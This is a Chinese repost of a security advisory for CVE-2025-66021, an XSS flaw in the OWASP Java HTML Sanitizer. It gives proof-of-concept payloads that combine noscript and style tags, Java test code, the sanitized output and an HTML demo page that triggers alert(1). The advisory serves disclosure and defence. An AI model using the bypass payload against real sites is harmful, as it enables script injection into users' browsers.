OWASP Java HTML 清理库曝出 XSS 漏洞:noscript 与 style 标签组合成隐患

news/2025/12/3 22:22:39/文章来源:https://www.cnblogs.com/qife122/p/19304179

CVE-2025-66021:OWASP Java HTML Sanitizer 跨站脚本漏洞

漏洞详情

摘要
观察发现,当 OWASP Java HTML Sanitizer 的 HtmlPolicyBuilder 允许 noscript 标签和 style 标签,并且在 style 标签内使用 .allowTextIn("style") 时,该库存在跨站脚本漏洞。如果精心构造的载荷能够绕过 CSS 清理并允许 HTML 策略中未提及的标签,则可能导致 XSS 攻击。

详情
OWASP Java HTML Sanitizer 存在跨站脚本漏洞。此漏洞仅发生在 HtmlPolicyBuilder 允许 noscriptstyle 标签,并允许 style 标签内包含文本的情况下。

以下情况非常特殊,但如果用户将 HtmlPolicyBuilder 与除 noscript 之外的任何其他标签结合使用,并允许 style 标签在 style 标签内使用 allowTextIn,那么在此情况下,清理器将是安全的,不会受到 XSS 攻击。这种情况的发生是因为浏览器在清理后如何解析 noscript 标签。

概念验证

创建一个允许 pnoscriptstyle HTML 标签并允许 .allowTextIn("style")HtmlPolicyBuilder

有两种非常相似的 XSS 载荷,唯一的区别是一个包含 p 标签,另一个包含 noscript 标签。
这些载荷包含可能易受 XSS 攻击的 script 标签,应在清理后被剥离。

  1. <noscript><style></noscript><script>alert(1)</script>
  2. <p><style></p><script>alert(1)</script>

运行以下清理载荷的代码片段。

public class main {private static final String ALLOWED_HTML_TAGS = "p, noscript, style";/*** Description of vulnerability :*  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.*  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.*/public static void main(String[] args) {withAllowedTextAndStyleTag();}/***  Test case : Vulnerable to XSS*/public static void withAllowedTextAndStyleTag() {HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();PolicyFactory policy = htmlPolicyBuilder.allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*")).allowTextIn("style").toFactory();String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));}
}

使用最新的库版本

<dependency><groupId>com.googlecode.owasp-java-html-sanitizer</groupId><artifactId>owasp-java-html-sanitizer</artifactId><version>20240325.1</version>
</dependency>

概念验证代码的输出应如下所示:

PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

让我们了解下面的清理过程发生了什么

--------------------| --> style 标签后的任何内容都被视为 CSS,不会被清理
PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS-----------------------------| --> 清理后,script 标签中的载荷保持不变,并且 style 和 noscript 标签被关闭。
SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>-------------| --> style 标签后的任何内容都被视为 CSS,不会被清理
PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS--------------------- | --> 清理后,script 标签中的载荷保持不变,并且 style 和 p 标签被关闭。
SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

创建一个示例 HTML 页面并复制步骤 5 中应生成的两个清理后输出

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>POC OF SANITIZER OUTPUT</title>
</head>
<body><!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->
<noscript><style></noscript><script>alert(1)</script></style></noscript><!-- SAFE OUTPUT -->
<p><style></p><script>alert(1)</script></style></p></body>
</html>

在浏览器中打开此 HTML 页面,它应该会弹出一个警告。

打开检查元素以了解发生了什么。如果用户仔细观察,与 p 标签和 style 标签组合的载荷不会导致 XSS,浏览器将 style 标签后的任何内容视为 CSS。

noscript 标签和 style 标签组合的载荷确实导致了 XSS。
浏览器解析了 noscript,它包装了 style 标签,然后关闭了 noscript 标签,之后 script 载荷被视为有效的 HTML 标签,在浏览器中执行,这导致了 XSS,因为这与上一个使用 p 标签的示例中发生的情况非常不同。

影响
这可能导致应用程序中的 XSS 攻击。
参考:https://owasp.org/www-community/attacks/xss/

参考

  • GHSA-g9gq-3pfx-2gw2
  • https://nvd.nist.gov/vuln/detail/CVE-2025-66021

安全信息

严重程度:高
CVSS 总体评分:8.6
CVSS v4 基础指标:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
弱点:CWE-79 - 在网页生成过程中对输入的不当中和(跨站脚本)

受影响的版本:= 20240325.1
已修复的版本:无

包信息

  • Maven 坐标:com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer
  • 源仓库:OWASP/java-html-sanitizer
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/986094.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

敏捷冲刺日志 - Day 4

敏捷冲刺日志 - Day 4 站立会议 站立时会议改为线上进行。昨天已完成的工作:实现了视频的多选和队列压缩功能。 UI 可以正确显示批量压缩的进度。今天计划完成的工作:新功能:实现“保存到相册”功能,确保用户压缩的视…

计算机视觉黄金时代的回顾与展望

文章记录了资深科学家梅迪奥尼分享其40多年计算机视觉研究历程,重点阐述了从理解客户问题出发、逆向发明技术的方法论,并介绍了其在无感支付等场景下的实际应用,认为当前是计算机视觉解决现实商业问题的黄金时代。1…

homebrew运行机制

🍺 Homebrew 的结构 = 一个“酿酒厂” 以下是核心概念的真实意义 + 隐喻意义:1. Formula(配方) 真实意义: Homebrew 安装“源码软件”的脚本,描述软件从哪里下载、如何编译、有哪些依赖等。 隐喻: 👉 配方:…

解码构造与析构

构造与析构基础概念 核心定义构造函数:对象被创建时自动调用的特殊成员函数,唯一作用是初始化对象的成员属性,确保对象创建后处于合法可用状态。 析构函数:对象被销毁前自动调用的特殊成员函数,用于释放对象占用的…

敏捷冲刺日志 - Day 2

敏捷冲刺日志 - Day 2 站立会议 站立时会议改为线上进行。昨天已完成的工作:熟悉了项目初始版本(v1.0)的代码结构和功能。 分析了用户提出的三个核心需求:修复权限异常、界面汉化、增加批量处理。今天计划完成的工作…

10.结构型 - 代理模式 (Proxy Pattern)

代理模式 (Proxy Pattern) 在软件开发中,由于一些原因,客户端不想或不能直接访问一个对象,此时可以通过一个称为"代理"的第三者来实现间接访问.该方案对应的设计模式被称为代理模式. 代理模式(Proxy Design …

敏捷冲刺日志 - Day 1

敏捷冲刺日志 - Day 1 各个成员在 Alpha 阶段认领的任务 本次七天冲刺即为项目的 Alpha 阶段,目标是交付一个具备核心功能、可运行、可演示的最小可行产品(MVP)。团队成员在本阶段的任务分配如下:刘瑞康 (开发):负…

2025年中国集成灶十大品牌综合实力榜:选购指南与权威解析

body { font-family: "Microsoft YaHei", sans-serif; line-height: 1.8; color: rgba(51, 51, 51, 1); max-width: 1000px; margin: 0 auto; padding: 20px; background-color: rgba(249, 249, 249, 1) } h…

朝花夕拾OI回忆录

朝花夕拾 OI 回忆录 序言 或许是因为喜欢追忆吧,也或许是临近AFO,内心有一些触动,又或者是为了给后续的OIer一些前者的失败经验吧……总之,2025年12月3日,我十六岁生日这天,我决定写这篇 OI 回忆录,以记录我对O…

细胞因子:细胞信使的分子世界与功能解析

在复杂的多细胞生物体内,细胞间的信息交流是维持生命活动的基础。其中,细胞因子 作为一类关键的信使分子,在免疫调节、细胞生长、分化、炎症反应和组织修复等过程中扮演着不可或缺的角色。本文将深入探讨细胞因子的…

NOIp 的 p 是 painting 的 p!

哇还有连续剧。 作者在 CSP 后推完魔宴正在推 WA2。 Day -6 发现惊天理论:Day -3 最后的 ZR 有点娱乐赛,T1 是哈希表广告题,赛时裸 umap 拿了 90pts,赛后拿 umap 和 gp 卡了一万年卡不过,严肃学习 Dzb 牌哈希表,…

AWS云计算入门指南:从零到一,详解核心服务与免费套餐 - 教程

AWS云计算入门指南:从零到一,详解核心服务与免费套餐 - 教程2025-12-03 22:00 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !impor…

概率论直觉(二):方差与期望 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

图书馆管理系统项目冲刺 Day7

图书馆管理系统项目冲刺 Day7 一、站立式会议 照片: [插入Day6站立会议照片] 二、昨天已完成的工作 读者管理和个人中心完成 搜索优化和推荐系统实现 统计分析功能添加 三、今天计划完成的工作 何昊天: 实现系统设置…

就想赚点学分有什么不队-团队第三次作业—alpha冲刺

就想赚点学分有什么不队-团队第三次作业—alpha冲刺就想讨点学分有什么不队-冲刺总结 一、作业基本信息项目 内容这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/202501SoftwareEngineering/这个作业要求在…

CSAPP 优化程序性能

目录优化程序性能程序剖析程序优化的基本原则编译器级别的优化指定优化等级函数内联优化编译器级别优化的局限性程序的性能程序性能的衡量对现代处理器的理解功能单元的性能代码级别的优化减少重复的运算和调用代码移动…

87键键盘的数字键对应快捷键含义

针对87键键盘的数字键对应的快捷键含义参考如下图:【参考】 VGN V98 Pro键盘使用说明作者:编程随笔 出处:http://www.cnblogs.com/nuccch/ 声明:本文版权归作者和博客园共有,欢迎转载,但请在文章页面明显位置给…

深入解析:Python异步(Asyncio)(一)

深入解析:Python异步(Asyncio)(一)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mo…

Java控制流程

Java流程控制 用户交互ScannerScanner工具类:获取用户的输入 基本语法:Scanner s = new Scanner(System.in);通过Scanner类的next()与nextLine()方法获取输入的字符串 在读取之前一般需要使用hasNext()与hasNextLine(…

快速判断是数字字符还是英文字符

问:(c >> 6 & 1) * 2 - 1是什么意思? 答:对于任意小写/大写英文字母字符,其 ASCII 码的二进制都形如 01xxxxxx;对于任意数字字符,其 ASCII 码的二进制都形如 0011xxxx。 根据这一特点,可以根据二进制…